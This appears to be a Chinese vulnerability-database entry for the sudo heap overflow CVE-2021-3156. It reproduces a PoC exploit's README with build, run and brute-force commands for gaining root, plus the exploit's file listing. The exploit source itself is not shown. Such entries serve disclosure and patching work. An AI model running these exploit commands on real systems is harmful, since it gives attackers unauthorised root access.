关联漏洞
标题:
Sudo 缓冲区错误漏洞
(CVE-2021-3156)
描述:Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 Sudo 1.9.5p2 之前版本存在缓冲区错误漏洞,攻击者可使用sudoedit -s和一个以单个反斜杠字符结束的命令行参数升级到root。
介绍
# CVE-2021-3156 PoC
## Introduction
This is an exploit for the `CVE-2021-3156` sudo vulnerability (dubbed [Baron Samedit](https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt) by Qualys).
## Usage
build:
```
$ make
```
list targets:
```
$ ./sudo-hax-me-a-sandwich
```
run:
```
$ ./sudo-hax-me-a-sandwich <target_number>
```
manual mode:
```
$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>
```
## Bruteforce target finding (experimental)
Make sure you have [GNU parallel](https://ftpmirror.gnu.org/parallel/parallel-latest.tar.bz2) installed.
```
$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>
```
some defaults to try:
```
$ ./brute.sh 90 120 50 70 150 300
```
Will eat up all available cores. Don't try to netflix & brute.
## Contributing
Send (sensible) PR's, I might merge.
Some ideas:
* More targets
* Target finding
* Other exploitation strategies
* More self contained functionality:
* Embed shared library hax.c (Make it small please, ELF golf + asm setuid/execve stub)
* Add mkdir logic to hax.c
* Directory/shared library cleanup
文件快照
[4.0K] /data/pocs/4b693033e5e09c8cb1aa9c5f1001e74e228cf54c
├── [1.9K] brute.sh
├── [4.3K] hax.c
├── [ 407] lib.c
├── [ 264] Makefile
└── [1.2K] README.md
0 directories, 5 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。